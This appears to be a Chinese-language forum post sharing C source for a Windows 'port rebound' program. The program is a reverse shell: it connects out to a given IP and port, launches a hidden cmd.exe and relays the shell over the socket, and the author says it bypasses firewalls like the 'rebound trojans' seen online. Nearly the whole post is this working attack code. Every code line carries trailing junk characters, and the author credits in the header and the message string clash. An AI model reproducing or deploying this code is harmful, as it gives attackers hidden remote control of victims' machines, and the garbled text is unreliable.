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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Iox)-  
s@iY'11  
/* ============================== ) 9 2(C  
Rebound port in Windows NT fNu/>pN  
By wind,2006/7 T%& vq6  
===============================*/ 6,jCO@!   
#include %z1^  
#include z8'zH>  
"= %"@"<)  
#pragma comment(lib,"wsock32.lib") IAGY-+8e  
k7rg:P  
void OutputShell(); #_S]\=N(  
SOCKET sClient; GRYw_}Aa  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6lg]5d2CD  
onRTX|#  
void main(int argc,char **argv) HBvyX`-  
{ v X6JjE!  
WSADATA stWsaData; ]i6* $qgma  
int nRet; *_YR*e0^nN  
SOCKADDR_IN stSaiClient,stSaiServer; ;Wy03}K4J  
4 FZR }e\  
if(argc != 3) G%l')e)9Gq  
{ 7- LjBlH  
printf("Useage:\n\rRebound DestIP DestPort\n"); C{^I}p  
return; s#aj5_G  
} W).Kq-  
fV Y I  
WSAStartup(MAKEWORD(2,2),&stWsaData); X>uLGr>  
L>1y[ Q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :w5g!G?z  
'v0rnIsI?  
stSaiClient.sin_family = AF_INET; [sk n9$  
stSaiClient.sin_port = htons(0); 8]vut{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ohx$;j  
e4Qjx*[G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r^msJ|k8[  
{ xFThs,w  
printf("Bind Socket Failed!\n"); Z:AB (c  
return; CYE[$*g6y  
} CEw%_U@8  
" 62g!e}!c  
stSaiServer.sin_family = AF_INET; '&,p>aM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;8&/JSN M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oLX[!0M^  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y>E:]#F  
{ Vq-Kl[-|  
printf("Connect Error!"); 5RWqHPw+  
return; 2p;I<C:Eo  
} ^W@8KB  
OutputShell(); k= 9+"4:  
} `<v$+mG  
>\:GFD{z  
void OutputShell() UNiK6h_%  
{ L?|}!  
char szBuff[1024]; _U4@W+lhX_  
SECURITY_ATTRIBUTES stSecurityAttributes; )nj fqg  
OSVERSIONINFO stOsversionInfo; }vY^e OK.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z]DZ:dF  
STARTUPINFO stStartupInfo;  03zt^<  
char *szShell; DHeZi3&i  
PROCESS_INFORMATION stProcessInformation; 2-Q5l*  
unsigned long lBytesRead; Srmr`[i  
y*sVimx  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VR1]CN"G  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "mE/t  (  
stSecurityAttributes.lpSecurityDescriptor = 0; GKF!GbGR@  
stSecurityAttributes.bInheritHandle = TRUE; E.Th}+  
+p jB/#4  
r 9M3rj]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EJ<L,QH3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -^`s#0( y^  
4B[pQlg  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <Dgf'Gr J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b~* iL!<  
stStartupInfo.wShowWindow = SW_HIDE; WwWOic2  
stStartupInfo.hStdInput = hReadPipe; MxX)&327  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [9 :9<#?o^  
>)*d/^  
GetVersionEx(&stOsversionInfo); F,VWi$Po\N  
Z{l`X#':  
switch(stOsversionInfo.dwPlatformId) H<ovIMd  
{ z!b:|*m]w  
case 1: Y?K?*`Pkc1  
szShell = "command.com"; 1uKIO{d @  
break; $39TP@?:Z)  
default: 0<4'pO.6Hq  
szShell = "cmd.exe"; (gvnIoDl0  
break; !@ P{s'<:  
} u^]Gc p  
bcu Uej:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $}S0LZ_H  
{hf_Xro&  
send(sClient,szMsg,77,0); !h}Vz  
while(1) @~7au9.V=X  
{ @sZ' --Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %1GKN|7  
if(lBytesRead) 9)=bBQyr:  
{ =I&BO[d  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KX!/n`2u  
send(sClient,szBuff,lBytesRead,0); (NfB+Ue}  
} J%q)6&  
else x+%> 2qgj"  
{ !P=L0A`  
lBytesRead=recv(sClient,szBuff,1024,0); #^|2PFh5  
if(lBytesRead<=0) break; 4~oRcO8!Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fh1-]$z`~  
} mxJe\[I  
} N(J#<;!yb  
oL>o*/  
return; Y![ i=/  
}
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